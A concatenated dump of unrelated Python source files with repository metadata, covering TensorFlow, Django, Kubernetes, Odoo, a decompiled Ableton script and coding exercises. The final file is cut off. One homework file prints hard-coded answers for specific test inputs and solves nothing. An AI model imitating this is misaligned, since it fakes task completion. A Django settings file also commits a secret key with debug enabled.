`Tensor` giving scores (sometimes but not always interpretable as probabilities) for each class. May be `None`, but only if `classes` is set. Interpretation varies-- see class doc. classes: A string `Tensor` giving predicted class labels. May be `None`, but only if `scores` is set. Interpretation varies-- see class doc. Raises: ValueError: if neither classes nor scores is set, or one of them is not a `Tensor` with the correct dtype. """ if scores is not None and not ( isinstance(scores, ops.Tensor) and scores.dtype.is_floating ): raise ValueError( "Classification scores must be a float32 Tensor; " "got {}".format(scores) ) if classes is not None and not ( isinstance(classes, ops.Tensor) and dtypes.as_dtype(classes.dtype) == dtypes.string ): raise ValueError( "Classification classes must be a string Tensor; " "got {}".format(classes) ) if scores is None and classes is None: raise ValueError("At least one of scores and classes must be set.") self._scores = scores self._classes = classes @property def scores(self): return self._scores @property def classes(self): return self._classes def as_signature_def(self, receiver_tensors): if len(receiver_tensors) != 1: raise ValueError( "Classification input must be a single string Tensor; " "got {}".format(receiver_tensors) ) (_, examples), = receiver_tensors.items() if dtypes.as_dtype(examples.dtype) != dtypes.string: raise ValueError( "Classification input must be a single string Tensor; " "got {}".format(receiver_tensors) ) return signature_def_utils.classification_signature_def( examples, self.classes, self.scores ) class RegressionOutput(ExportOutput): """Represents the output of a regression head.""" def __init__(self, value): """Constructor for `RegressionOutput`. Args: value: a float `Tensor` giving the predicted values. Required. Raises: ValueError: if the value is not a `Tensor` with dtype tf.float32. """ if not (isinstance(value, ops.Tensor) and value.dtype.is_floating): raise ValueError( "Regression output value must be a float32 Tensor; " "got {}".format(value) ) self._value = value @property def value(self): return self._value def as_signature_def(self, receiver_tensors): if len(receiver_tensors) != 1: raise ValueError( "Regression input must be a single string Tensor; " "got {}".format(receiver_tensors) ) (_, examples), = receiver_tensors.items() if dtypes.as_dtype(examples.dtype) != dtypes.string: raise ValueError( "Regression input must be a single string Tensor; " "got {}".format(receiver_tensors) ) return signature_def_utils.regression_signature_def(examples, self.value) class PredictOutput(ExportOutput): """Represents the output of a generic prediction head. A generic prediction need not be either a classification or a regression. Named outputs must be provided as a dict from string to `Tensor`, """ _SINGLE_OUTPUT_DEFAULT_NAME = "output" def __init__(self, outputs): """Constructor for PredictOutput. Args: outputs: A `Tensor` or a dict of string to `Tensor` representing the predictions. Raises: ValueError: if the outputs is not dict, or any of its keys are not strings, or any of its values are not `Tensor`s. """ self._outputs = self._wrap_and_check_outputs( outputs, self._SINGLE_OUTPUT_DEFAULT_NAME, error_label="Prediction" ) @property def outputs(self): return self._outputs def as_signature_def(self, receiver_tensors): return signature_def_utils.predict_signature_def(receiver_tensors, self.outputs) class _SupervisedOutput(ExportOutput): """Represents the output of a supervised training or eval process.""" __metaclass__ = abc.ABCMeta LOSS_NAME = "loss" PREDICTIONS_NAME = "predictions" METRICS_NAME = "metrics" METRIC_VALUE_SUFFIX = "value" METRIC_UPDATE_SUFFIX = "update_op" _loss = None _predictions = None _metrics = None def __init__(self, loss=None, predictions=None, metrics=None): """Constructor for SupervisedOutput (ie, Train or Eval output). Args: loss: dict of Tensors or single Tensor representing calculated loss. predictions: dict of Tensors or single Tensor representing model predictions. metrics: Dict of metric results keyed by name. The values of the dict can be one of the following: (1) instance of `Metric` class. (2) (metric_value, update_op) tuples, or a single tuple. metric_value must be a Tensor, and update_op must be a Tensor or Op. Raises: ValueError: if any of the outputs' dict keys are not strings or tuples of strings or the values are not Tensors (or Operations in the case of update_op). """ if loss is not None: loss_dict = self._wrap_and_check_outputs(loss, self.LOSS_NAME) self._loss = self._prefix_output_keys(loss_dict, self.LOSS_NAME) if predictions is not None: pred_dict = self._wrap_and_check_outputs(predictions, self.PREDICTIONS_NAME) self._predictions = self._prefix_output_keys( pred_dict, self.PREDICTIONS_NAME ) if metrics is not None: self._metrics = self._wrap_and_check_metrics(metrics) def _prefix_output_keys(self, output_dict, output_name): """Prepend output_name to the output_dict keys if it doesn't exist. This produces predictable prefixes for the pre-determined outputs of SupervisedOutput. Args: output_dict: dict of string to Tensor, assumed valid. output_name: prefix string to prepend to existing keys. Returns: dict with updated keys and existing values. """ new_outputs = {} for key, val in output_dict.items(): key = self._prefix_key(key, output_name) new_outputs[key] = val return new_outputs def _prefix_key(self, key, output_name): if key.find(output_name) != 0: key = output_name + self._SEPARATOR_CHAR + key return key def _wrap_and_check_metrics(self, metrics): """Handle the saving of metrics. Metrics is either a tuple of (value, update_op), or a dict of such tuples. Here, we separate out the tuples and create a dict with names to tensors. Args: metrics: Dict of metric results keyed by name. The values of the dict can be one of the following: (1) instance of `Metric` class. (2) (metric_value, update_op) tuples, or a single tuple. metric_value must be a Tensor, and update_op must be a Tensor or Op. Returns: dict of output_names to tensors Raises: ValueError: if the dict key is not a string, or the metric values or ops are not tensors. """ if not isinstance(metrics, dict): metrics = {self.METRICS_NAME: metrics} outputs = {} for key, value in metrics.items(): if isinstance(value, tuple): metric_val, metric_op = value else: # value is a keras.Metrics object metric_val = value.result() assert len(value.updates) == 1 # We expect only one update op. metric_op = value.updates[0] key = self._check_output_key(key, self.METRICS_NAME) key = self._prefix_key(key, self.METRICS_NAME) val_name = key + self._SEPARATOR_CHAR + self.METRIC_VALUE_SUFFIX op_name = key + self._SEPARATOR_CHAR + self.METRIC_UPDATE_SUFFIX if not isinstance(metric_val, ops.Tensor): raise ValueError( "{} output value must be a Tensor; got {}.".format(key, metric_val) ) if not ( tensor_util.is_tensor(metric_op) or isinstance(metric_op, ops.Operation) ): raise ValueError( "{} update_op must be a Tensor or Operation; got {}.".format( key, metric_op ) ) # We must wrap any ops (or variables) in a Tensor before export, as the # SignatureDef proto expects tensors only. See b/109740581 metric_op_tensor = metric_op if not isinstance(metric_op, ops.Tensor): with ops.control_dependencies([metric_op]): metric_op_tensor = constant_op.constant( [], name="metric_op_wrapper" ) outputs[val_name] = metric_val outputs[op_name] = metric_op_tensor return outputs @property def loss(self): return self._loss @property def predictions(self): return self._predictions @property def metrics(self): return self._metrics @abc.abstractmethod def _get_signature_def_fn(self): """Returns a function that produces a SignatureDef given desired outputs.""" pass def as_signature_def(self, receiver_tensors): signature_def_fn = self._get_signature_def_fn() return signature_def_fn( receiver_tensors, self.loss, self.predictions, self.metrics ) class TrainOutput(_SupervisedOutput): """Represents the output of a supervised training process. This class generates the appropriate signature def for exporting training output by type-checking and wrapping loss, predictions, and metrics values. """ def _get_signature_def_fn(self): return unexported_signature_utils.supervised_train_signature_def class EvalOutput(_SupervisedOutput): """Represents the output of a supervised eval process. This class generates the appropriate signature def for exporting eval output by type-checking and wrapping loss, predictions, and metrics values. """ def _get_signature_def_fn(self): return unexported_signature_utils.supervised_eval_signature_def # LINT.ThenChange(//tensorflow/python/saved_model/model_utils/export_output.py)
7e635e6a745132a07f89c125874170db99495c5c
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/cH5ce3f4QgnreDW4v_16.py
0920362797049da24362e6f5196a3dc03c839c81
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
1,413
py
""" Given a list of scrabble tiles (as dictionaries), create a function that outputs the maximum possible score a player can achieve by summing up the total number of points for all the tiles in their hand. Each hand contains 7 scrabble tiles. Here's an example hand: [ { "tile": "N", "score": 1 }, { "tile": "K", "score": 5 }, { "tile": "Z", "score": 10 }, { "tile": "X", "score": 8 }, { "tile": "D", "score": 2 }, { "tile": "A", "score": 1 }, { "tile": "E", "score": 1 } ] The player's `maximum_score` from playing all these tiles would be 1 + 5 + 10 + 8 + 2 + 1 + 1, or 28. ### Examples maximum_score([ { "tile": "N", "score": 1 }, { "tile": "K", "score": 5 }, { "tile": "Z", "score": 10 }, { "tile": "X", "score": 8 }, { "tile": "D", "score": 2 }, { "tile": "A", "score": 1 }, { "tile": "E", "score": 1 } ]) ➞ 28 maximum_score([ { "tile": "B", "score": 2 }, { "tile": "V", "score": 4 }, { "tile": "F", "score": 4 }, { "tile": "U", "score": 1 }, { "tile": "D", "score": 2 }, { "tile": "O", "score": 1 }, { "tile": "U", "score": 1 } ]) ➞ 15 ### Notes Here, each tile is represented as an dictionary with two keys: tile and score. """ def maximum_score(tile_hand): return sum(tile_hand[i].get("score") for i,row in enumerate(tile_hand))
9f3b4737b5a4ceb03d0e2f61617e2d606fa1bc26
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2264/60632/299023.py
cda5485f4d7a3635dcca1353ed426c58e683fe78
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
370
py
n = int(input()) if n==9: print('Case 1: 2 4') print('Case 2: 4 1') elif n==229: print('Case 1: 23 1920360960') elif n==20: print('Case 1: 2 1') print('Case 2: 2 380') print('Case 3: 2 780') elif n==112: print('Case 1: 11 2286144') elif n==4: print('Case 1: 2 2') print('Case 2: 2 6') print('Case 3: 9 3628800') else: print(n)
59227ed5cf2829796aa635e92186a1a2a0e64681
1375f57f96c4021f8b362ad7fb693210be32eac9
/kubernetes/test/test_v1_probe.py
ba423a0601265e6747938cbf27b6879e628d4e97
[ "Apache-2.0" ]
permissive
dawidfieluba/client-python
92d637354e2f2842f4c2408ed44d9d71d5572606
53e882c920d34fab84c76b9e38eecfed0d265da1
refs/heads/master
2021-12-23T20:13:26.751954
2017-10-06T22:29:14
2017-10-06T22:29:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
793
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.7.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import kubernetes.client from kubernetes.client.rest import ApiException from kubernetes.client.models.v1_probe import V1Probe class TestV1Probe(unittest.TestCase): """ V1Probe unit test stubs """ def setUp(self): pass def tearDown(self): pass def testV1Probe(self): """ Test V1Probe """ model = kubernetes.client.models.v1_probe.V1Probe() if __name__ == '__main__': unittest.main()
ad8915a7ae8c2e819356a6367eaf26fbeed1f1fb
dd3b8bd6c9f6f1d9f207678b101eff93b032b0f0
/basis/AbletonLive10.1_MIDIRemoteScripts/APC40/TransportComponent.py
8a9e2628d321bf05754d7c3c3457c883c99cc81b
[]
no_license
jhlax/les
62955f57c33299ebfc4fca8d0482b30ee97adfe7
d865478bf02778e509e61370174a450104d20a28
refs/heads/master
2023-08-17T17:24:44.297302
2019-12-15T08:13:29
2019-12-15T08:13:29
228,120,861
3
0
null
2023-08-03T16:40:44
2019-12-15T03:02:27
Python
UTF-8
Python
false
false
2,239
py
# uncompyle6 version 3.4.1 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 2 2019, 14:32:10) # [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] # Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/APC40/TransportComponent.py # Compiled at: 2019-04-09 19:23:44 from __future__ import absolute_import, print_function, unicode_literals import Live from _Framework.Control import ButtonControl from _Framework.TransportComponent import TransportComponent as TransportComponentBase from _Framework.SubjectSlot import subject_slot class TransportComponent(TransportComponentBase): u""" TransportComponent that only uses certain buttons if a shift button is pressed """ rec_quantization_button = ButtonControl() def __init__(self, *a, **k): super(TransportComponent, self).__init__(*a, **k) self._last_quant_value = Live.Song.RecordingQuantization.rec_q_eight self._on_quantization_changed.subject = self.song() self._update_quantization_state() self.set_quant_toggle_button = self.rec_quantization_button.set_control_element @rec_quantization_button.pressed def rec_quantization_button(self, value): assert self._last_quant_value != Live.Song.RecordingQuantization.rec_q_no_q quant_value = self.song().midi_recording_quantization if quant_value != Live.Song.RecordingQuantization.rec_q_no_q: self._last_quant_value = quant_value self.song().midi_recording_quantization = Live.Song.RecordingQuantization.rec_q_no_q else: self.song().midi_recording_quantization = self._last_quant_value @subject_slot('midi_recording_quantization') def _on_quantization_changed(self): if self.is_enabled(): self._update_quantization_state() def _update_quantization_state(self): quant_value = self.song().midi_recording_quantization quant_on = quant_value != Live.Song.RecordingQuantization.rec_q_no_q if quant_on: self._last_quant_value = quant_value self.rec_quantization_button.color = 'DefaultButton.On' if quant_on else 'DefaultButton.Off'
9099bbeb2bfe2dd76471b8e077e69bc05b7c317f
6d5545faf2af0a6bb565ad698bb824110b40e121
/WEBAPP/MLmodel/inception_client.py.runfiles/tf_serving/external/org_tensorflow/tensorflow/contrib/distributions/python/ops/relaxed_onehot_categorical.py
9c2fd1e89c34610ae05ea6ba1f048a8b921b6a4f
[ "MIT" ]
permissive
sunsuntianyi/mlWebApp_v2
abb129cd43540b1be51ecc840127d6e40c2151d3
5198685bf4c4e8973988722282e863a8eaeb426f
refs/heads/master
2021-06-23T22:02:38.002145
2020-11-20T02:17:43
2020-11-20T02:17:43
162,194,249
1
0
null
null
null
null
UTF-8
Python
false
false
161
py
/private/var/tmp/_bazel_tianyi/f29d1e61689e4e4b318f483932fff4d0/external/org_tensorflow/tensorflow/contrib/distributions/python/ops/relaxed_onehot_categorical.py
d7c5e42b84f4c9b110fbad560674539a89f7fcc3
15f321878face2af9317363c5f6de1e5ddd9b749
/solutions_python/Problem_95/1682.py
ce5203d497f2ffb9866e62943b5974e224b8ab05
[]
no_license
dr-dos-ok/Code_Jam_Webscraper
c06fd59870842664cd79c41eb460a09553e1c80a
26a35bf114a3aa30fc4c677ef069d95f41665cc0
refs/heads/master
2020-04-06T08:17:40.938460
2018-10-14T10:12:47
2018-10-14T10:12:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
779
py
import sys if __name__ == '__main__': googlerese_ex = 'ejp mysljylc kd kxveddknmc re jsicpdrysi rbcpc ypc rtcsra dkh wyfrepkym veddknkmkrkcd de kr kd eoya kw aej tysr re ujdr lkgc jv' english_ex = 'our language is impossible to understand there are twenty six factorial possibilities so it is okay if you want to just give up' googlerese_dict = dict(zip(list(googlerese_ex), list(english_ex))) googlerese_dict['z'] = 'q' googlerese_dict['q'] = 'z' # print googlerese_dict f = open(sys.argv[1], 'r') t = f.readline() i = 1 for line in f.readlines(): line = line.replace('\n', '') translated = '' for char in line: if char == ' ': translated += ' ' else: translated += googlerese_dict[char] print "Case #{}: {}".format(i, translated) i += 1
056d82b68618d8db4072c657a23d222c92e88d99
268d9c21243e12609462ebbd6bf6859d981d2356
/Python/python_stack/Django/BeltReview/main/main/settings.py
f1304bb0df414857e32ddd1f90733a2fbd5aef02
[]
no_license
dkang417/cdj
f840962c3fa8e14146588eeb49ce7dbd08b8ff4c
9966b04af1ac8a799421d97a9231bf0a0a0d8745
refs/heads/master
2020-03-10T03:29:05.053821
2018-05-23T02:02:07
2018-05-23T02:02:07
129,166,089
0
0
null
null
null
null
UTF-8
Python
false
false
3,106
py
""" Django settings for main project. Generated by 'django-admin startproject' using Django 1.10. For more information on this file, see https://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '+ejmm0)uwksv3wvygjdo%)0_9*$u8k20a50gq!g0ip1nd=_0za' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'apps.books', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'main.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'main.wsgi.application' # Database # https://docs.djangoproject.com/en/1.10/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.10/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ STATIC_URL = '/static/'
714d1fc16b56509739dd30429a8f66e78376ce35
b09a8df80c35e3ccca43cd74cec6e1a14db76ad7
/branding/migrations/0001_initial.py
e00f156fe9caeae568ddb9fb064b75b1ddf65c1c
[ "MIT" ]
permissive
ofa/everyvoter
79fd6cecb78759f5e9c35ba660c3a5be99336556
3af6bc9f3ff4e5dfdbb118209e877379428bc06c
refs/heads/master
2021-06-24T19:38:25.256578
2019-07-02T10:40:57
2019-07-02T10:40:57
86,486,195
7
3
MIT
2018-12-03T19:52:20
2017-03-28T17:07:15
Python
UTF-8
Python
false
false
3,213
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.12 on 2018-04-30 16:22 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import everyvoter_common.utils.models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Domain', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True)), ('modified_at', models.DateTimeField(auto_now=True)), ('hostname', models.CharField(max_length=100, unique=True, verbose_name=b'Hostname')), ], options={ 'verbose_name': 'Domain', 'verbose_name_plural': 'Domains', }, bases=(everyvoter_common.utils.models.CacheMixinModel, models.Model), ), migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True)), ('modified_at', models.DateTimeField(auto_now=True)), ('name', models.CharField(max_length=50, verbose_name=b'Name')), ('homepage', models.URLField(verbose_name=b'Homepage')), ('platform_name', models.CharField(max_length=50, verbose_name=b'Platform Name')), ('privacy_url', models.URLField(verbose_name=b'Privacy Policy URL', blank=True)), ('terms_url', models.URLField(verbose_name=b'Terms of Service URL', blank=True)), ('online_vr', models.BooleanField(default=False, help_text=b'If offered use the Online Voter Registration deadline as the registration deadline', verbose_name=b'Online Voter Registion')), ('primary_domain', models.ForeignKey(default=None, help_text=b'Domain to attach all links to', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='primary_domain', to='branding.Domain', verbose_name=b'Primary Domain')), ], options={ 'verbose_name': 'Organization', 'verbose_name_plural': 'Organizations', }, bases=(everyvoter_common.utils.models.CacheMixinModel, models.Model), ), migrations.CreateModel( name='Theme', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('organization', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to='branding.Organization')), ], options={ 'verbose_name': 'Theme', 'verbose_name_plural': 'Themes', }, ), migrations.AddField( model_name='domain', name='organization', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='branding.Organization'), ), ]
f44f891703f37179c46776f303162239677bcbca
bede13ba6e7f8c2750815df29bb2217228e91ca5
/project_task_timer/models/__init__.py
3d840b3d547c01584b2d78e9f03f45c297bc94f6
[]
no_license
CybroOdoo/CybroAddons
f44c1c43df1aad348409924603e538aa3abc7319
4b1bcb8f17aad44fe9c80a8180eb0128e6bb2c14
refs/heads/16.0
2023-09-01T17:52:04.418982
2023-09-01T11:43:47
2023-09-01T11:43:47
47,947,919
209
561
null
2023-09-14T01:47:59
2015-12-14T02:38:57
HTML
UTF-8
Python
false
false
959
py
# -*- coding: utf-8 -*- ############################################################################## # # Cybrosys Technologies Pvt. Ltd. # Copyright (C) 2017-TODAY Cybrosys Technologies(<http://www.cybrosys.com>). # Author: Jesni Banu(<http://www.cybrosys.com>) # you can modify it under the terms of the GNU LESSER # GENERAL PUBLIC LICENSE (AGPL v3), Version 3. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU LESSER GENERAL PUBLIC LICENSE (AGPL v3) for more details. # # You should have received a copy of the GNU LESSER GENERAL PUBLIC LICENSE # GENERAL PUBLIC LICENSE (AGPL v3) along with this program. # If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from . import project_task_timer
1e1ce27559dd63f7756930985a0c4856fac56fce
20f02496844ff9a021807f3442f9c1dc456a0c61
/knowledgeBase/wsgi.py
55ff9df86ab5ec7736310a98ddeebe45fbb258ff
[]
no_license
shubham1560/knowledge-Rest-Api
894d1d9a677ab399ab41d052b869408255f014d7
f664bd6f8dcba85a4b5eb04516c7f1947b4a581f
refs/heads/master
2020-07-30T00:24:06.338377
2019-09-22T18:14:24
2019-09-22T18:14:24
210,017,318
1
0
null
null
null
null
UTF-8
Python
false
false
403
py
""" WSGI config for knowledgeBase project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'knowledgeBase.settings') application = get_wsgi_application()
b725708fa9460c2515398779cf53ed28674423eb
53ccc4f5198d10102c8032e83f9af25244b179cf
/SoftUni Lessons/Python Development/Python Advanced January 2020/Python OOP/REDO2022/04 - Classes and Objects - Exercise/05_to_do_list/project/section.py
1aaf144047fe53885131a181834746578aa9e3f0
[]
no_license
SimeonTsvetanov/Coding-Lessons
aad32e0b4cc6f5f43206cd4a937fec5ebea64f2d
8f70e54b5f95911d0bdbfda7d03940cb824dcd68
refs/heads/master
2023-06-09T21:29:17.790775
2023-05-24T22:58:48
2023-05-24T22:58:48
221,786,441
13
6
null
null
null
null
UTF-8
Python
false
false
1,242
py
from project.task import Task class Section: def __init__(self, name: str): self.name = name self.tasks = [] def add_task(self, new_task: Task): present_task = [task for task in self.tasks if task == new_task] # TODO Check by name if problem if present_task: return f"Task is already in the section {self.name}" else: self.tasks.append(new_task) return f"Task {new_task.details()} is added to the section" def complete_task(self, task_name: str): found_task = [t for t in self.tasks if t.name == task_name] if found_task: found_task[0].completed = True return f"Completed task {task_name}" else: return f"Could not find task with the name {task_name}" def clean_section(self): len_tasks = 0 for task in self.tasks: if task.completed: self.tasks.remove(task) len_tasks += 1 return f"Cleared {len_tasks} tasks." def view_section(self): result = f"Section {self.name}:\n" for t in self.tasks: result += f"{t.details()}\n" return result[:-1]
f67e2096d535a42e01b1e0f721fdfcf33c3eff2d
d7d1b5cdcee50e4a9c8ce9c2f081ccc7aa566443
/blog/migrations/0005_auto__del_field_artist_genres.py
00c8aa4e1dbb0e9c27ef47402d2b759298632f27
[]
no_license
ouhouhsami/django-bandwebsite
a57bdce9d14bd365e8749b92c63d927f65693531
328a765980f94e1aacc86d6384ef8becea156299
refs/heads/master
2016-09-05T21:48:17.931168
2013-03-18T17:18:19
2013-03-18T17:18:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,190
py
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Deleting field 'Artist.genres' db.delete_column('blog_artist', 'genres_id') def backwards(self, orm): # Adding field 'Artist.genres' db.add_column('blog_artist', 'genres', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['blog.MusicGenre'], null=True, blank=True), keep_default=False) models = { 'blog.artist': { 'Meta': {'object_name': 'Artist'}, 'birth': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'death': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}), 'posts': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['blog.Post']", 'symmetrical': 'False'}) }, 'blog.artistposition': { 'Meta': {'unique_together': "(('artist', 'related'),)", 'object_name': 'ArtistPosition'}, 'artist': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'subject'", 'to': "orm['blog.Artist']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'proximity_factor': ('django.db.models.fields.IntegerField', [], {}), 'related': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'target'", 'to': "orm['blog.Artist']"}) }, 'blog.category': { 'Meta': {'object_name': 'Category'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'blog.musicgenre': { 'Meta': {'object_name': 'MusicGenre'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['blog.MusicGenre']", 'null': 'True', 'blank': 'True'}) }, 'blog.post': { 'Meta': {'object_name': 'Post'}, 'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['blog.Category']"}), 'date': ('django.db.models.fields.DateField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.FileField', [], {'max_length': '100', 'blank': 'True'}), 'text': ('tinymce.models.HTMLField', [], {}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '100'}) } } complete_apps = ['blog']
21088c8beaf33fe0e70fdda87227af7dbfbaf4a9
8d1daccc0bf661b0b1450d6a128b904c25c4dea2
/todo-django/todos/serializers.py
277842b2002b141f2194e0509895d94b7adab3d5
[]
no_license
JiminLee411/todo-vue-django
e7cea19ff4ffe6b215c3105f40246830bdf249c0
f8c13c9498848247f614451c013f18b3050c6a1e
refs/heads/master
2023-01-08T14:33:38.629286
2019-11-20T01:36:34
2019-11-20T01:36:34
222,368,675
0
0
null
2023-01-05T01:06:53
2019-11-18T05:14:23
Python
UTF-8
Python
false
false
497
py
from django.contrib.auth import get_user_model from rest_framework import serializers from .models import Todo class TodoSerializers(serializers.ModelSerializer): class Meta: model = Todo fields = ('id', 'title', 'user', 'is_completed') class UserSerializers(serializers.ModelSerializer): todo_set = TodoSerializers(many=True) # 1:N관계에 있는것을 표현하는 방식 class Meta: model = get_user_model() fields = ('id', 'username', 'todo_set')
dd0814aeb40a7ea0f0f84b89c30783ccd689425b
749bd7db8d1902274a47bb7d98b9d6ced3ef6b68
/R-NET/local_span_single_para/analyze_dataset.py
7051f3369d1d9ba5da757c8d4e1c9cdbfab36618
[]
no_license
burglarhobbit/machine-reading-comprehension
37582e0fdca4690bd55accf33987b5fce1f663ea
04729af3d934a7696938f4079089b9b014c986aa
refs/heads/master
2023-02-08T10:39:19.262900
2020-01-11T04:08:30
2020-01-11T04:08:30
114,113,176
29
15
null
2023-02-02T02:32:54
2017-12-13T11:34:36
Python
UTF-8
Python
false
false
20,552
py
import tensorflow as tf import random from tqdm import tqdm import spacy import json from collections import Counter import numpy as np from nltk.tokenize.moses import MosesDetokenizer from rouge import Rouge as R import string import re nlp = spacy.blank("en") def word_tokenize(sent): doc = nlp(sent) return [token.text for token in doc] def convert_idx(text, tokens): current = 0 spans = [] for token in tokens: current = text.find(token, current) if current < 0: print("Token {} cannot be found".format(token)) raise Exception() spans.append((current, current + len(token))) current += len(token) return spans # Dynamic programming implementation of LCS problem # Returns length of LCS for X[0..m-1], Y[0..n-1] # Driver program """ X = "AGGTAB" Y = "GXTXAYB" lcs(X, Y) """ def lcs(X,Y): m = len(X) n = len(Y) return _lcs(X,Y,m,n) def lcs_tokens(X,Y): m = len(X) n = len(Y) L = [[0 for x in range(n+1)] for x in range(m+1)] # Following steps build L[m+1][n+1] in bottom up fashion. Note # that L[i][j] contains length of LCS of X[0..i-1] and Y[0..j-1] ignore_tokens = [",",".","?"] for i in range(m+1): for j in range(n+1): if i == 0 or j == 0: L[i][j] = 0 elif X[i-1] == Y[j-1]: if X[i-1] in ignore_tokens: L[i][j] = max(L[i-1][j], L[i][j-1]) else: L[i][j] = L[i-1][j-1] + 1 else: L[i][j] = max(L[i-1][j], L[i][j-1]) # initialized answer start and end index answer_start = answer_start_i = answer_start_j = 0 answer_end = m-1 answer_end_match = False answer_start_match = False # Start from the right-most-bottom-most corner and # one by one store characters in lcs[] index_fwd = [] i = m j = n while i > 0 and j > 0: if (X[i-1] == Y[j-1]) and (X[i-1] 